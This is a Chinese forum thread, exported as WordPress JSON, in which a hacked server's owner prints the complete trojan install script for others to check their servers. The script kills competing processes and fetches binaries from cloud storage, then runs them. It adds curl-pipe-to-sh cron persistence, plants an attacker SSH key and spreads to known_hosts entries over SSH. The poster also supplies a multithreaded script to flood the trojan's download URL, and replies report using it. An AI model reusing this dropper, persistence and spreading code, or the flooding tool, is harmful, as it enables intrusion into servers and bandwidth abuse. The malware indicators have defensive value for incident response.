{"id":54529,"date":"2020-04-09T10:37:22","date_gmt":"2020-04-09T02:37:22","guid":{"rendered":"http:\/\/4563.org\/?p=54529"},"modified":"2020-04-09T10:37:22","modified_gmt":"2020-04-09T02:37:22","slug":"%e6%9c%ba%e5%99%a8%e5%8f%88%e8%a2%ab%e9%bb%91%e4%ba%86%ef%bc%8c%e9%99%84%e4%b8%8a%e6%9c%a8%e9%a9%ac%e5%ae%89%e8%a3%85%e8%84%9a%e6%9c%ac%ef%bc%8c%e5%a4%a7%e5%ae%b6%e4%b9%9f%e8%87%aa%e8%a1%8c%e6%a3%80","status":"publish","type":"post","link":"http:\/\/4563.org\/?p=54529","title":{"rendered":"\u673a\u5668\u53c8\u88ab\u9ed1\u4e86\uff0c\u9644\u4e0a\u6728\u9a6c\u5b89\u88c5\u811a\u672c\uff0c\u5927\u5bb6\u4e5f\u81ea\u884c\u68c0\u67e5\u4e0b\u5427"},"content":{"rendered":"\n<p>  \t\t\t\t\t<strong>class<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3>\u673a\u5668\u53c8\u88ab\u9ed1\u4e86\uff0c\u9644\u4e0a\u6728\u9a6c\u5b89\u88c5\u811a\u672c\uff0c\u5927\u5bb6\u4e5f\u81ea\u884c\u68c0\u67e5\u4e0b\u5427<\/h3>\n<p>  \t\t \u672c\u5e16\u6700\u540e\u7531 class \u4e8e 2020-4-7 22:48 \u7f16\u8f91 <\/p>\n<p> 20200407 22:47\uff0c \u66f4\u65b0\u7a0b\u5e8f\u4e0b\u8f7d\u5730\u5740\uff0c\u53ef\u4ee5\u7ee7\u7eed\u5237\u4e86\u3002(\u4e0b\u65b9\u811a\u672c\u5df2\u7ecf\u66f4\u65b0)<\/p>\n<p>  https:\/\/apparel.oss-cn-hangzhou.aliyuncs.com\/storefile\/watch_Linux_x86_64<\/p>\n<p>  \u76ee\u524d\u6587\u4ef6\u5df2\u7ecf\u88ab\u5220\u9664\uff0c\u65e0\u6cd5\u5237\u4e86\u3002<\/p>\n<p>  \u7a81\u7136\u68c0\u67e5\u5230\u670d\u52a1\u5668\u53c8\u88ab\u9ed1\uff0c\u770b\u4e86\u4e0b\u8fd8\u662f\u8fd9\u4e2a&quot;\u8001\u670b\u53cb&quot;\u7684\u7a0b\u5e8f\u3002<\/p>\n<p>  \u5927\u5bb6\u4e5f\u53ef\u4ee5\u6309\u7167\u811a\u672c\u5185\u5bb9\u68c0\u67e5\u4e0b\u81ea\u5df1\u7684\u670d\u52a1\u5668\u3002<\/p>\n<p>  \u6728\u9a6c\u7a0b\u5e8f\u76ee\u524d\u662f\u653e\u5728\u817e\u8baf\u4e91\u7684cos(\u4f60\u61c2\u7684)\uff0c\u53e6\u5916\u9644\u8d60\u4e00\u4e2a\u591a\u7ebf\u7a0b\u4e0b\u8f7d\u6728\u9a6c\u7a0b\u5e8f\u7684\u811a\u672c\u3002<\/p>\n<p>  \u6728\u9a6c\u5b89\u88c5\u811a\u672c<br \/>  #!\/bin\/sh<\/p>\n<p>  #version<br \/>  watchVersion=&quot;-5e4b58b&quot;<br \/>  nodeVersion=&quot;-5e4b58b&quot;<\/p>\n<p>  #dealChattr<br \/>  find \/etc\/cron*|xargs chattr -i<br \/>  find \/var\/spool\/cron*|xargs chattr -i<\/p>\n<p>  #directory<br \/>  oldDirectory=$(pwd)<br \/>  mkdir -p \/tmp<br \/>  chmod 1777 \/tmp<br \/>  cd \/tmp<br \/>  touch \/var\/tmp\/writeable &amp;&amp; cd \/var\/tmp\/<br \/>  touch \/dev\/shm\/writeable &amp;&amp; cd \/dev\/shm<br \/>  touch ~\/writeable &amp;&amp; cd ~\/<br \/>  touch $oldDirectory\/writeable &amp;&amp; cd $oldDirectory<br \/>  touch \/usr\/local\/bin\/writeable &amp;&amp; cd \/usr\/local\/bin\/<br \/>  touch \/usr\/libexec\/writeable &amp;&amp; cd \/usr\/libexec\/<br \/>  touch \/usr\/bin\/writeable &amp;&amp; cd \/usr\/bin\/<br \/>  rm -rf \/var\/tmp\/writeable ~\/writeable$oldDirectory\/writeable \/dev\/shm\/writeable \/usr\/local\/bin\/writeable \/usr\/libexec\/writeable \/usr\/bin\/writeable<br \/>  currentDirectory=$(pwd)<\/p>\n<p>  #killPast<br \/>  ps auxf| grep system-watch*| grep -v grep| grep -v system-watch$watchVersion| awk &#8216;{print $2}&#8217;| xargs kill -9<br \/>  ps auxf| grep system-node*| grep -v grep| grep -v system-node$nodeVersion| awk &#8216;{print $2}&#8217;| xargs kill -9<\/p>\n<p>  #rm oldVersion<br \/>  find system-watch* | grep -v system-watch$watchVersion | xargs rm<br \/>  find system-node* | grep -v system-node$nodeVersion | xargs rm<\/p>\n<p>  ps -ef | grep &quot;system-node&quot; | grep -v &quot;grep&quot; | awk &#8216;{print $2}&#8217; | xargs kill -9<\/p>\n<p>  #watchRun?<br \/>  ps auxf | grep system-watch$watchVersion | grep -v grep<br \/>  if [ $? -eq 0 ]<br \/>  then<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;watch running&quot;<br \/>  else<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; #updateNew<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; curl -fsSL https:\/\/nba-1254105488.cos.ap-beijing-1.myqcloud.com\/storefile\/watch_linux_`uname -m` -o system-watch$watchVersion || wget https:\/\/nba-1254105488.cos.ap-beijing-1.myqcloud.com\/storefile\/watch_linux_`uname -m` -O system-watch$watchVersion<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; chmod +x system-watch$watchVersion<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; $currentDirectory\/system-watch$watchVersion<br \/>  fi<\/p>\n<p>  #nodeRun?<br \/>  ps auxf | grep system-node$nodeVersion | grep -v grep<br \/>  if [ $? -eq 0 ]<br \/>  then<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;node running&quot;<br \/>  else<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; #updateNew<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; curl -fsSL https:\/\/nba-1254105488.cos.ap-beijing-1.myqcloud.com\/storefile\/node_linux_`uname -m` -o system-node$nodeVersion || wget https:\/\/nba-1254105488.cos.ap-beijing-1.myqcloud.com\/storefile\/node_linux_`uname -m` -O system-node$nodeVersion<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; chmod +x system-node$nodeVersion<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; $currentDirectory\/system-node$nodeVersion<br \/>  fi<\/p>\n<p>  #rcLocal<br \/>  if test -d \/etc\/rc.d\/<br \/>  then<br \/>  &nbsp; &nbsp; echo &quot;centos rc.local&quot;<br \/>  &nbsp; &nbsp; sed -i &#8216;\/system-\/d&#8217; \/etc\/rc.d\/rc.local<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; sed -i &#8216;\/system_\/d&#8217; \/etc\/rc.d\/rc.local<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; echo $currentDirectory\/system-watch$watchVersion &gt;&gt; \/etc\/rc.d\/rc.local<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; echo $currentDirectory\/system-node$nodeVersion &gt;&gt; \/etc\/rc.d\/rc.local<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; chmod +x \/etc\/rc.d\/rc.local<br \/>  else<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;ubuntu rc.local&quot;<br \/>  &nbsp; &nbsp; sed -i &#8216;\/system-\/d&#8217; \/etc\/rc.local<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; sed -i &#8216;\/system_\/d&#8217; \/etc\/rc.local<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; echo $currentDirectory\/system-watch$watchVersion &gt;&gt; \/etc\/rc.local<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; echo $currentDirectory\/system-node$nodeVersion &gt;&gt; \/etc\/rc.local<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; chmod +x \/etc\/rc.local<br \/>  fi<\/p>\n<p>  #cronTab<br \/>  crontab -l| grep &quot;https:\/\/app.lutai.network:33035\/assets\/node.sh&quot; &gt; \/dev\/null<br \/>  if [ $? -eq 0 ]; then<br \/>  &nbsp; &nbsp; echo &quot;crontab found&quot;<br \/>  else<br \/>  &nbsp; &nbsp; (crontab -l ; echo &quot;*\/60 * * * * (curl -fsSL https:\/\/app.lutai.network:33035\/assets\/node.sh||wget -q -O- https:\/\/app.lutai.network:33035\/assets\/node.sh||python -c &#8216;import urllib;print urllib.urlopen(&quot;https:\/\/app.lutai.network:33035\/assets\/node.sh&quot;).read()&#8217;)|sh &gt;\/dev\/null 2&gt;&amp;1 &amp;&quot;) | crontab &#8211;<br \/>  fi<\/p>\n<p>  #sshPublicKey<br \/>  if test -d ~\/.ssh\/<br \/>  then<br \/>  &nbsp; &nbsp; echo &quot;ssh directory exist&quot;<br \/>  else<br \/>  &nbsp; &nbsp; mkdir ~\/.ssh\/<br \/>  fi<br \/>  grep &quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDc259umJoTtYTD3YoMbqz01lA9HUSp+h821nl\/sMkQ5sS3Q2LMTjOkhhplUnCFdGVQ0TLxrpx\/rsQH0CMw49axAQiqljToTo3MsF1h51PjpUGJCAoXghmp+Blh23J8RlwSVVEUBso2yTV3FjKNLnQ\/rgmTzZ9lbsF+3YK7CrISKCbcTX2GjNY4GXjFDoswM89706l2tyjehYwYFHfY2Wkj\/TRtEFUrKadoWaTEzbS8qyqln4iRnkO7lOZ+iLNsBewOA4TXLZr3FeZ59B0JkRzV6J8KLCon6wP+HI+SJao4KABEjsh0saZ7p0k1Ai9\/FxNhLj\/MOw1wL1yLDHdXwYFjkXJ3XErLnYZ+hb9JUP7zP9h35elYbZnRgDdnYDKHR7YIEXHiw3OVpwxQOmf2fWJoUo3E6FWt8PKgk28G5DsLMhAQk3QjXyyMI8TDEgtoF7znjxMrDWcGx\/sIlKZlDX6Nk2NXsM\/OwSpLeGeCRdRsHG3efwygMgILko+JRnbqyaA\/MgCTDdgP032M0JINontq\/1p6HtF0lSD4TsVx4T8PvZcyRK97hXYg1C9SoVNvx0O7jGUXVwwa2HOnIsIYc9WkRHChegBT2ruaSO8sip09NacDqcYpKeZ3TBziuR6RzyatXBQdBtZReGE5YDNxrLu89Mmfc7hY4P6ftjP7ETzjVQ==&quot; ~\/.ssh\/authorized_keys &gt; \/dev\/null<br \/>  if [ $? -eq 0 ]; then<br \/>  &nbsp; &nbsp; echo &quot;ssh_rsa found&quot;<br \/>  else<br \/>  &nbsp; &nbsp; echo &quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDc259umJoTtYTD3YoMbqz01lA9HUSp+h821nl\/sMkQ5sS3Q2LMTjOkhhplUnCFdGVQ0TLxrpx\/rsQH0CMw49axAQiqljToTo3MsF1h51PjpUGJCAoXghmp+Blh23J8RlwSVVEUBso2yTV3FjKNLnQ\/rgmTzZ9lbsF+3YK7CrISKCbcTX2GjNY4GXjFDoswM89706l2tyjehYwYFHfY2Wkj\/TRtEFUrKadoWaTEzbS8qyqln4iRnkO7lOZ+iLNsBewOA4TXLZr3FeZ59B0JkRzV6J8KLCon6wP+HI+SJao4KABEjsh0saZ7p0k1Ai9\/FxNhLj\/MOw1wL1yLDHdXwYFjkXJ3XErLnYZ+hb9JUP7zP9h35elYbZnRgDdnYDKHR7YIEXHiw3OVpwxQOmf2fWJoUo3E6FWt8PKgk28G5DsLMhAQk3QjXyyMI8TDEgtoF7znjxMrDWcGx\/sIlKZlDX6Nk2NXsM\/OwSpLeGeCRdRsHG3efwygMgILko+JRnbqyaA\/MgCTDdgP032M0JINontq\/1p6HtF0lSD4TsVx4T8PvZcyRK97hXYg1C9SoVNvx0O7jGUXVwwa2HOnIsIYc9WkRHChegBT2ruaSO8sip09NacDqcYpKeZ3TBziuR6RzyatXBQdBtZReGE5YDNxrLu89Mmfc7hY4P6ftjP7ETzjVQ==&quot; &gt;&gt; ~\/.ssh\/authorized_keys<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; chmod 600 ~\/.ssh\/authorized_keys<br \/>  &nbsp; &nbsp; &nbsp; &nbsp; chmod 700 ~\/.ssh\/<br \/>  fi<\/p>\n<p>  #bashRc<br \/>  # echo &quot;(curl -fsSL https:\/\/app.lutai.network:33035\/assets\/lutai||wget -q -O- https:\/\/app.lutai.network:33035\/assets\/lutai)|sh &gt;\/dev\/null 2&gt;&amp;1 &amp;&quot; &gt;&gt; \/etc\/bashrc<\/p>\n<p>  #sshLogin<br \/>  if [ -f \/root\/.ssh\/known_hosts ] &amp;&amp; [ -f \/root\/.ssh\/id_rsa.pub ]; then<br \/>  for h in $(grep -oE &quot;b({1,3}.){3}{1,3}b&quot; \/root\/.ssh\/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h &quot;(curl -fsSL https:\/\/app.lutai.network:33035\/assets\/node.sh||wget -q -O- https:\/\/app.lutai.network:33035\/assets\/node.sh||python -c &#8216;import urllib;print urllib.urlopen(&quot;https:\/\/app.lutai.network:33035\/assets\/node.sh&quot;).read()&#8217;)|sh &gt;\/dev\/null 2&gt;&amp;1 &amp;&quot; &amp; done<br \/>  fi<\/p>\n<p>  for file in \/home\/*<br \/>  do<br \/>  &nbsp; &nbsp; if test -d $file; then<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;if [ -f $file\/.ssh\/known_hosts ] &amp;&amp; [ -f $file\/.ssh\/id_rsa.pub ]; then<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;for h in $(grep -oE &quot;b({1,3}.){3}{1,3}b&quot; $file\/.ssh\/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h &quot;(curl -fsSL https:\/\/app.lutai.network:33035\/assets\/node.sh||wget -q -O- https:\/\/app.lutai.network:33035\/assets\/node.sh||python -c &#8216;import urllib;print urllib.urlopen(&quot;https:\/\/app.lutai.network:33035\/assets\/node.sh&quot;).read()&#8217;)|sh &gt;\/dev\/null 2&gt;&amp;1 &amp;&quot; &amp; done<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;fi<br \/>  &nbsp; &nbsp; fi<br \/>  done<\/p>\n<p>  python3 \u6728\u9a6c\u4e0b\u8f7d\u811a\u672c<\/p>\n<p>  \u4f7f\u7528\u65b9\u6cd5<\/p>\n<p>  yum install -y python36 python36-devel screen<br \/>  pip3 install requests<br \/>  vi z.py&nbsp; &nbsp; # \u628a\u4e0b\u9762\u7684\u5185\u5bb9\u7c98\u8d34\u8fdb\u53bb<br \/>  screen -S z # \u521b\u5efa\u4e00\u4e2a\u8fdc\u7a0b\u4f1a\u8bdd<br \/>  python3 z.py&nbsp; &nbsp;# \u8fd0\u884c\u811a\u672c<br \/>  ps -ef | grep &quot;z.py&quot; | grep -v &quot;grep&quot; | awk &#8216;{print $2}&#8217; | xargs kill -9&nbsp; &nbsp; # \u7ed3\u675f\u547d\u4ee4 <\/p>\n<p>  #coding:utf-8<br \/>  import requests<br \/>  import threading<\/p>\n<p>  # \u5e76\u53d1\u6570<br \/>  thread_max = threading.BoundedSemaphore(100)<br \/>  curl = requests.session()<br \/>  curl.timeout = 120<br \/>  curl.headers = {<br \/>  &nbsp; &nbsp; &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/76.0.3809.100 Safari\/537.36&#8217;<br \/>  }<\/p>\n<p>  class MyThread(threading.Thread):<\/p>\n<p>  &nbsp; &nbsp; def __init__(self):<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;# \u91cd\u5199\u5199\u7236\u7c7b\u7684__init__\u65b9\u6cd5<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;super(MyThread, self).__init__()<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;self.url = &#8216;https:\/\/apparel.oss-cn-hangzhou.aliyuncs.com\/storefile\/watch_Linux_x86_64&#8217;<\/p>\n<p>  &nbsp; &nbsp; def run(self):<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;try:<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;url = self.url<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;if self.download(url):<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; print(&quot;\u4e0b\u8f7d\u6210\u529f\uff1a %s&quot; % url)<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;else:<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; print(&quot;\u4e0b\u8f7d\u5931\u8d25\uff1a %s&quot; % url)<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;except Exception as e:<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;print(e)<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;pass<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;# \u4efb\u52a1\u8dd1\u5b8c\u79fb\u9664\u7ebf\u7a0b<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;thread_max.release()<\/p>\n<p>  &nbsp; &nbsp; # \u4e0b\u8f7d<br \/>  &nbsp; &nbsp; def download(self, url):<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;try:<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;curl.get(url)<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;return True<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;except BaseException as e:<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;return False<\/p>\n<p>  # \u5f00\u59cb\u64cd\u4f5c<br \/>  def start():<br \/>  &nbsp; &nbsp; Thread_list = []<br \/>  &nbsp; &nbsp; for url in range(1000000000):<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;# \u5982\u679c\u7ebf\u7a0b\u8fbe\u5230\u6700\u5927\u503c\u5219\u7b49\u5f85\u524d\u9762\u7ebf\u7a0b\u8dd1\u5b8c\u7a7a\u51fa\u7ebf\u7a0b\u4f4d\u7f6e<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;thread_max.acquire()<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;p = MyThread()<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;p.start()<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;Thread_list.append(p)<br \/>  &nbsp; &nbsp; for i in Thread_list:<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;i.join()<\/p>\n<p>  if __name__ == &#8216;__main__&#8217;:<br \/>  &nbsp; &nbsp; start()<\/p>\n<p>  \t\t\t\t<\/p>\n<p>  \t\t\t\t\t<strong>h20<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\t\u77ff\u5de5\u8fdb\u9a7b\u4e86\u5417\uff1f\t\t\t\t<\/p>\n<p>  \t\t\t\t\t<strong>skyboy0671<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\t\u5b66\u4e60\u4e86\u3002\u3002\u697c\u4e3b\u5206\u6790\u51fa\u662f\u600e\u4e48\u7ed9\u4f60\u6302\u4e0a\u53bb\u7684\u5417\uff1f\uff1f\u811a\u672c\uff1f\uff1f\u670d\u52a1\u5668ssh\uff1f\t\t\t\t<\/p>\n<p>  \t\t\t\t\t<strong>iamydp<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\t\u8fde\u4ee3\u7801\u90fd\u7ed9\u51fa\u6765\u4e86,\u90a3\u62113o\u5c31\u4e0d\u5ba2\u6c14\u4e86:lol\t\t\t\t<\/p>\n<p>  \t\t\t\t\t<strong>class<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\tskyboy0671 \u5927\u4f6c\u6709\u8bdd\u8bf4 : 2020-4-6 22:01<br \/>  \u5b66\u4e60\u4e86\u3002\u3002\u697c\u4e3b\u5206\u6790\u51fa\u662f\u600e\u4e48\u7ed9\u4f60\u6302\u4e0a\u53bb\u7684\u5417\uff1f\uff1f\u811a\u672c\uff1f\uff1f\u670d\u52a1\u5668ssh\uff1f<\/p>\n<p> \u4e4b\u524d\u662f\u56e0\u4e3a\u7a0b\u5e8f\u7684\u6f0f\u6d1e\u901a\u8fc7\u8c03\u7528curl \u547d\u4ee4\u5bfc\u81f4\u88ab\u6302\u9a6c\u7684\u3002<\/p>\n<p>  \u8fd8\u6709\u4e00\u79cd\u5c31\u662f redis \u5bf9\u5916\u5f00\u653e\u4e14\u6ca1\u8bbe\u7f6e\u5bc6\u7801\u3002<\/p>\n<p>  \u521a\u53d1\u73b0\u7684\u8fd9\u53f0\u76ee\u524d\u6ca1\u5206\u6790\u51fa\u662f\u4ec0\u4e48\u65f6\u5019\u88ab\u6302\u7684\u3002\t\t\t\t<\/p>\n<p>  \t\t\t\t\t<strong>\u6545\u4e8b\u9738\u9738<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\t \u672c\u5e16\u6700\u540e\u7531 \u6545\u4e8b\u9738\u9738 \u4e8e 2020-4-6 22:13 \u7f16\u8f91 <\/p>\n<p> yc010t\u5237\u8d77\u6765\u4e86<br \/>  https:\/\/ae01.alicdn.com\/kf\/H189f5f45eda04181ab3cec9896edf415f.jpg\t\t\t\t<\/p>\n<p>  \t\t\t\t\t<strong>class<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\tiamydp \u5927\u4f6c\u6709\u8bdd\u8bf4 : 2020-4-6 22:03<br \/>  \u8fde\u4ee3\u7801\u90fd\u7ed9\u51fa\u6765\u4e86,\u90a3\u62113o\u5c31\u4e0d\u5ba2\u6c14\u4e86<\/p>\n<p> \u8d44\u6e90\u662f\u653e\u5728\u826f\u5fc3\u4e91COS\u7684\uff0c3o\u5728\u5883\u5916\u6548\u679c\u53ef\u80fd\u4f1a\u5dee\u4e00\u4e9b\uff0c\u7528\u56fd\u5185\u7684\u673a\u5668\u4f1a\u6bd4\u8f83\u723d(\u4e0d\u80fd\u7528\u826f\u5fc3\u4e91)\t\t\t\t<\/p>\n<p>  \t\t\t\t\t<strong>\u5979\u6559\u6211\u6253\u72d9<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\tmjj&nbsp; &nbsp;gogogo\t\t\t\t<\/p>\n<p>  \t\t\t\t\t<strong>\u6545\u4e8b\u9738\u9738<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\tyc010t\u6587\u4ef6\u5220\u6389\u4e86\uff0c\u5237\u4e86\u5927\u69825\u4e2at\u5de6\u53f3\t\t\t\t<\/p>\n<p>  \t\t\t\t\t<strong>\u59ec\u957f\u4fe1<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\t\u6545\u4e8b\u9738\u9738 \u5927\u4f6c\u6709\u8bdd\u8bf4 : 2020-4-7 10:53<br \/>  \u6587\u4ef6\u5220\u6389\u4e86\uff0c\u5237\u4e86\u5927\u69825\u4e2at\u5de6\u53f3<\/p>\n<p> nbq\t\t\t  <\/p>\n","protected":false},"excerpt":{"rendered":"<p>class \u5927\u4f6c\u6709\u8bdd\u8bf4 : \u673a\u5668\u53c8&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[],"tags":[],"_links":{"self":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts\/54529"}],"collection":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=54529"}],"version-history":[{"count":0,"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts\/54529\/revisions"}],"wp:attachment":[{"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=54529"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=54529"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=54529"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}